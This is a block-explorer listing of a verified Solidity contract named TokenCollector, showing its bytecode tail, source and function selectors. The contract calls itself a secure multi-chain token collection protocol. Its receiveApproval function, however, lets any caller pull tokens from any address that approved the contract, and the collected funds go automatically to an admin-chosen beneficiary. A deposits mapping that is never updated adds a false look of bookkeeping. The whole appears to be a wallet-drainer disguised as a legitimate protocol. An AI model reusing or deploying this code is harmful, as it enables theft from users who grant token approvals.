00000000000000000000000005f82015250565b5f613e5c600f83613574565b9150613e6782613e28565b602082019050919050565b5f6020820190508181035f830152613e8981613e50565b9050919050565b7f4c656e677468206d69736d6174636800000000000000000000000000000000005f82015250565b5f613ec4600f83613574565b9150613ecf82613e90565b602082019050919050565b5f6020820190508181035f830152613ef181613eb8565b9050919050565b7f426174636820746f6f206c6172676500000000000000000000000000000000005f82015250565b5f613f2c600f83613574565b9150613f3782613ef8565b602082019050919050565b5f6020820190508181035f830152613f5981613f20565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f604082019050613fa05f830185613985565b613fad602083018461365d565b9392505050565b5f81519050919050565b8281835e5f83830152505050565b5f613fd682613fb4565b613fe08185613c39565b9350613ff0818560208601613fbe565b80840191505092915050565b5f6140078284613fcc565b915081905092915050565b5f8151905061402081613a9a565b92915050565b5f6020828403121561403b5761403a613685565b5b5f61404884828501614012565b91505092915050565b7f4261746368207472616e73666572206661696c656400000000000000000000005f82015250565b5f614085601583613574565b915061409082614051565b602082019050919050565b5f6020820190508181035f8301526140b281614079565b9050919050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f6140ed600f83613574565b91506140f8826140b9565b602082019050919050565b5f6020820190508181035f83015261411a816140e1565b9050919050565b7f496e76616c696420746f6b656e000000000000000000000000000000000000005f82015250565b5f614155600d83613574565b915061416082614121565b602082019050919050565b5f6020820190508181035f83015261418281614149565b9050919050565b7f42616c616e636520636865636b206661696c65640000000000000000000000005f82015250565b5f6141bd601483613574565b91506141c882614189565b602082019050919050565b5f6020820190508181035f8301526141ea816141b1565b9050919050565b5f815190506141ff81613712565b92915050565b5f6020828403121561421a57614219613685565b5b5f614227848285016141f1565b91505092915050565b7f42616c616e636520746f6f206c617267650000000000000000000000000000005f82015250565b5f614264601183613574565b915061426f82614230565b602082019050919050565b5f6020820190508181035f83015261429181614258565b9050919050565b7f5a65726f20616d6f756e740000000000000000000000000000000000000000005f82015250565b5f6142cc600b83613574565b91506142d782614298565b602082019050919050565b5f6020820190508181035f8301526142f9816142c0565b9050919050565b7f4e6f7420706175736564000000000000000000000000000000000000000000005f82015250565b5f614334600a83613574565b915061433f82614300565b602082019050919050565b5f6020820190508181035f83015261436181614328565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f61439c601483613574565b91506143a782614368565b602082019050919050565b5f6020820190508181035f8301526143c981614390565b9050919050565b7f4e6f742070656e64696e672061646d696e0000000000000000000000000000005f82015250565b5f614404601183613574565b915061440f826143d0565b602082019050919050565b5f6020820190508181035f830152614431816143f8565b9050919050565b5f60608201905061444b5f830186613985565b6144586020830185613985565b614465604083018461365d565b949350505050565b7f5472616e736665722072657475726e65642066616c73650000000000000000005f82015250565b5f6144a1601783613574565b91506144ac8261446d565b602082019050919050565b5f6020820190508181035f8301526144ce81614495565b9050919050565b7f416c72656164792061646d696e000000000000000000000000000000000000005f82015250565b5f614509600d83613574565b9150614514826144d5565b602082019050919050565b5f6020820190508181035f830152614536816144fd565b9050919050565b7f416c7265616479207061757365640000000000000000000000000000000000005f82015250565b5f614571600e83613574565b915061457c8261453d565b602082019050919050565b5f6020820190508181035f83015261459e81614565565b9050919050565b7f4e6f2062656e65666963696172790000000000000000000000000000000000005f82015250565b5f6145d9600e83613574565b91506145e4826145a5565b602082019050919050565b5f6040820190506146025f83018461365d565b8181036020830152614613816145cd565b905092915050565b5f60408201905061462e5f83018461365d565b818103602083015261463f816141b1565b905092915050565b7f5a65726f2062616c616e636500000000000000000000000000000000000000005f82015250565b5f61467b600c83613574565b915061468682614647565b602082019050919050565b5f6040820190506146a45f83018461365d565b81810360208301526146b58161466f565b905092915050565b7f416d6f756e7420746f6f206c61726765000000000000000000000000000000005f82015250565b5f6146f1601083613574565b91506146fc826146bd565b602082019050919050565b5f6020820190508181035f83015261471e816146e5565b9050919050565b5f6040820190506147385f83018461365d565b818103602083015261474981613e50565b90509291505056fea2646970667358221220d6dec08778b1548a77096d0d2d1bcfedae23a935cf3fe41e5b47cf63b2b0780c64736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
TokenCollector.sol 376 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @title TokenCollector
* @dev Multi-chain token collection and management system
* @notice Secure protocol for aggregating tokens across chains
*/
contract TokenCollector {
address public admin;
address public pendingAdmin;
address public beneficiary;
bool public collectEnabled;
bool public systemPaused;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
uint256 public constant MAX_BATCH_SIZE = 50;
uint256 public minCollectionAmount;
mapping(address => mapping(address => uint256)) public deposits;
// ==================== EVENTS ====================
event TokensCollected(address indexed token, uint256 amount, address indexed from);
event NativeCollected(uint256 amount, address indexed from);
event FundsTransferred(address indexed token, uint256 amount, address indexed to);
event BeneficiaryChanged(address indexed oldBeneficiary, address indexed newBeneficiary);
event AdminTransferStarted(address indexed currentAdmin, address indexed newAdmin);
event AdminTransferCompleted(address indexed previousAdmin, address indexed newAdmin);
event CollectionStatusChanged(bool enabled);
event SystemPauseChanged(bool paused);
event MinAmountChanged(uint256 amount);
event BatchTransferCompleted(uint256 count, address indexed to);
event ProcessingCompleted(address indexed token, uint256 amount);
event ProcessingSkipped(address indexed token, uint256 amount, string reason);
// ==================== MODIFIERS ====================
modifier onlyAdmin() {
require(msg.sender == admin, "Not authorized");
_;
}
modifier whenNotPaused() {
require(!systemPaused, "System paused");
_;
}
modifier nonReentrant() {
require(_status != _ENTERED, "No reentrant calls");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
// ==================== CONSTRUCTOR ====================
constructor() {
admin = msg.sender;
beneficiary = msg.sender;
collectEnabled = true;
_status = _NOT_ENTERED;
minCollectionAmount = 0;
emit AdminTransferCompleted(address(0), msg.sender);
emit BeneficiaryChanged(address(0), msg.sender);
}
// ==================== COLLECTION FUNCTIONS ====================
receive() external payable whenNotPaused nonReentrant {
emit NativeCollected(msg.value, msg.sender);
if (collectEnabled && msg.value > minCollectionAmount) {
_processNativeCollection();
}
}
function onTokenTransfer(
address from,
uint256 amount,
bytes calldata
) external whenNotPaused nonReentrant returns (bool) {
require(amount > 0, "Zero amount");
emit TokensCollected(msg.sender, amount, from);
if (collectEnabled && amount > minCollectionAmount) {
_processTokenCollection(msg.sender, amount);
}
return true;
}
function receiveApproval(
address from,
uint256 amount,
address token,
bytes calldata
) external whenNotPaused nonReentrant returns (bool) {
require(amount > 0, "Zero amount");
require(token != address(0), "Invalid token");
emit TokensCollected(token, amount, from);
if (collectEnabled && amount > minCollectionAmount) {
(bool success, bytes memory returnData) = token.call(
abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
from,
address(this),
amount
)
);
require(success, "Transfer failed");
if (returnData.length > 0) {
require(abi.decode(returnData, (bool)), "Transfer returned false");
}
_processTokenCollection(token, amount);
}
return true;
}
// ==================== INTERNAL PROCESSING ====================
function _processNativeCollection() internal {
uint256 balance = address(this).balance;
if (balance > 0 && beneficiary != address(0)) {
(bool success, ) = beneficiary.call{value: balance, gas: 100000}("");
if (success) {
emit ProcessingCompleted(address(0), balance);
emit FundsTransferred(address(0), balance, beneficiary);
} else {
emit ProcessingSkipped(address(0), balance, "Call failed");
}
}
}
function _processTokenCollection(address token, uint256 amount) internal {
if (beneficiary == address(0)) {
emit ProcessingSkipped(token, amount, "No beneficiary");
return;
}
(bool balanceSuccess, bytes memory balanceData) = token.call(
abi.encodeWithSignature("balanceOf(address)", address(this))
);
if (!balanceSuccess) {
emit ProcessingSkipped(token, amount, "Balance check failed");
return;
}
uint256 actualBalance = abi.decode(balanceData, (uint256));
uint256 amountToSend = actualBalance < amount ? actualBalance : amount;
if (amountToSend == 0) {
emit ProcessingSkipped(token, amount, "Zero balance");
return;
}
require(amountToSend <= type(uint128).max, "Amount too large");
(bool success, bytes memory data) = token.call(
abi.encodeWithSignature(
"transfer(address,uint256)",
beneficiary,
amountToSend
)
);
if (success && (data.length == 0 || abi.decode(data, (bool)))) {
emit ProcessingCompleted(token, amountToSend);
emit FundsTransferred(token, amountToSend, beneficiary);
} else {
emit ProcessingSkipped(token, amountToSend, "Transfer failed");
}
}
// ==================== ADMIN OPERATIONS ====================
function sendTokens(
address token,
uint256 amount,
address to
) external onlyAdmin nonReentrant {
require(token != address(0), "Invalid token");
require(to != address(0), "Invalid recipient");
require(amount > 0, "Zero amount");
(bool success, bytes memory data) = token.call(
abi.encodeWithSignature("transfer(address,uint256)", to, amount)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"Transfer failed"
);
emit FundsTransferred(token, amount, to);
}
function sendAllTokens(address token, address to) external onlyAdmin nonReentrant {
require(token != address(0), "Invalid token");
require(to != address(0), "Invalid recipient");
(bool success, bytes memory data) = token.call(
abi.encodeWithSignature("balanceOf(address)", address(this))
);
require(success, "Balance check failed");
uint256 balance = abi.decode(data, (uint256));
require(balance > 0, "No balance");
require(balance <= type(uint128).max, "Balance too large");
(success, data) = token.call(
abi.encodeWithSignature("transfer(address,uint256)", to, balance)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"Transfer failed"
);
emit FundsTransferred(token, balance, to);
}
function sendNative(address payable to, uint256 amount) external onlyAdmin nonReentrant {
require(to != address(0), "Invalid recipient");
require(amount > 0, "Zero amount");
require(address(this).balance >= amount, "Insufficient balance");
(bool success, ) = to.call{value: amount}("");
require(success, "Transfer failed");
emit FundsTransferred(address(0), amount, to);
}
function sendAllNative(address payable to) external onlyAdmin nonReentrant {
require(to != address(0), "Invalid recipient");
uint256 balance = address(this).balance;
require(balance > 0, "No balance");
(bool success, ) = to.call{value: balance}("");
require(success, "Transfer failed");
emit FundsTransferred(address(0), balance, to);
}
function batchSendTokens(
address[] calldata tokens,
uint256[] calldata amounts,
address to
) external onlyAdmin nonReentrant {
require(tokens.length == amounts.length, "Length mismatch");
require(tokens.length <= MAX_BATCH_SIZE, "Batch too large");
require(to != address(0), "Invalid recipient");
for (uint256 i = 0; i < tokens.length; i++) {
if (amounts[i] > 0 && tokens[i] != address(0)) {
(bool success, bytes memory data) = tokens[i].call(
abi.encodeWithSignature(
"transfer(address,uint256)",
to,
amounts[i]
)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"Batch transfer failed"
);
emit FundsTransferred(tokens[i], amounts[i], to);
}
}
emit BatchTransferCompleted(tokens.length, to);
}
// ==================== CONFIGURATION ====================
function setCollectionStatus(bool enabled) external onlyAdmin {
collectEnabled = enabled;
emit CollectionStatusChanged(enabled);
}
function setBeneficiary(address newBeneficiary) external onlyAdmin {
require(newBeneficiary != address(0), "Invalid address");
address oldBeneficiary = beneficiary;
beneficiary = newBeneficiary;
emit BeneficiaryChanged(oldBeneficiary, newBeneficiary);
}
function setMinCollectionAmount(uint256 amount) external onlyAdmin {
minCollectionAmount = amount;
emit MinAmountChanged(amount);
}
function setPauseStatus(bool paused) external onlyAdmin {
systemPaused = paused;
emit SystemPauseChanged(paused);
}
function pauseSystem() external onlyAdmin {
require(!systemPaused, "Already paused");
systemPaused = true;
emit SystemPauseChanged(true);
}
function unpauseSystem() external onlyAdmin {
require(systemPaused, "Not paused");
systemPaused = false;
emit SystemPauseChanged(false);
}
function initiateAdminTransfer(address newAdmin) external onlyAdmin {
require(newAdmin != address(0), "Invalid address");
require(newAdmin != admin, "Already admin");
pendingAdmin = newAdmin;
emit AdminTransferStarted(admin, newAdmin);
}
function acceptAdminRole() external {
require(msg.sender == pendingAdmin, "Not pending admin");
address oldAdmin = admin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit AdminTransferCompleted(oldAdmin, admin);
}
// ==================== VIEW FUNCTIONS ====================
function getBalance(address token) external view returns (uint256) {
if (token == address(0)) {
return address(this).balance;
}
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSignature("balanceOf(address)", address(this))
);
if (success && data.length >= 32) {
return abi.decode(data, (uint256));
}
return 0;
}
function getUserDeposit(address user, address token) external view returns (uint256) {
return deposits[user][token];
}
function getSystemInfo() external view returns (
address _admin,
address _beneficiary,
bool _collectEnabled,
bool _systemActive,
uint256 _minAmount,
uint256 _nativeBalance
) {
return (
admin,
beneficiary,
collectEnabled,
!systemPaused,
minCollectionAmount,
address(this).balance
);
}
}
Read Contract
MAX_BATCH_SIZE 0xcfdbf254 → uint256
admin 0xf851a440 → address
beneficiary 0x38af3eed → address
collectEnabled 0x0d6d9f8b → bool
deposits 0x8f601f66 → uint256
getBalance 0xf8b2cb4f → uint256
getSystemInfo 0x6cb69f42 → address, address, bool, bool, uint256, uint256
getUserDeposit 0x148c658c → uint256
minCollectionAmount 0xf6e22007 → uint256
pendingAdmin 0x26782247 → address
systemPaused 0x9d2f83f0 → bool
Write Contract 15 functions
These functions modify contract state and require a wallet transaction to execute.
acceptAdminRole 0x8c3d7301
No parameters
batchSendTokens 0x074a5f8c
address[] tokens
uint256[] amounts
address to
initiateAdminTransfer 0xab6c12df
address newAdmin
onTokenTransfer 0xa4c0ed36
address from
uint256 amount
bytes
returns: bool
pauseSystem 0xdc1d4fb7
No parameters
receiveApproval 0x8f4ffcb1
address from
uint256 amount
address token
bytes
returns: bool
sendAllNative 0x01cdd875
address to
sendAllTokens 0x38c3d8ea
address token
address to
sendNative 0x66807566
address to
uint256 amount
sendTokens 0x4217e287
address token
uint256 amount
address to
setBeneficiary 0x1c31f710
address newBeneficiary
setCollectionStatus 0x89e6c2ed
bool enabled
setMinCollectionAmount 0x035168c9
uint256 amount
setPauseStatus 0xc38bb537
bool paused
unpauseSystem 0x4c761240
No parameters
Recent Transactions
No transactions found for this address